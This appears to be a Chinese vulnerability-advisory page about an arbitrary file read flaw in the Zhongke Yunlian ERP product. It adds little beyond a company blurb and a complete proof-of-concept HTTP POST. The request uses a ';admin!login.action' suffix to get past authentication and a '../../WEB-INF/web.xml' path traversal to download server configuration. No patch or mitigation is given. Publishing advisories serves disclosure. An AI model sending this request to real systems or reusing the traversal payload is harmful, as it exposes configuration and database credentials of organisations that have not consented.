北京中科商软软件有限公司中科云连ERP 存在任意文件读取漏洞

日期: 2024-12-17 | 影响软件: 云连ERP | POC: 已公开

漏洞描述

北京中科商软软件有限公司成立于2005年12月05日，注册地位于北京市,该公司经营范围包括应用软件服务；计算机系统服务；技术开发、技术转让、技术服务；北京中科商软软件有限公司中科云连ERP存在任意文件读取漏洞，攻击者可获取数据库敏感信息，造成信息泄露。

PoC代码

POST /admin/file!download.action;admin!login.action HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
 
downloadFile=../../WEB-INF/web.xml

相关漏洞推荐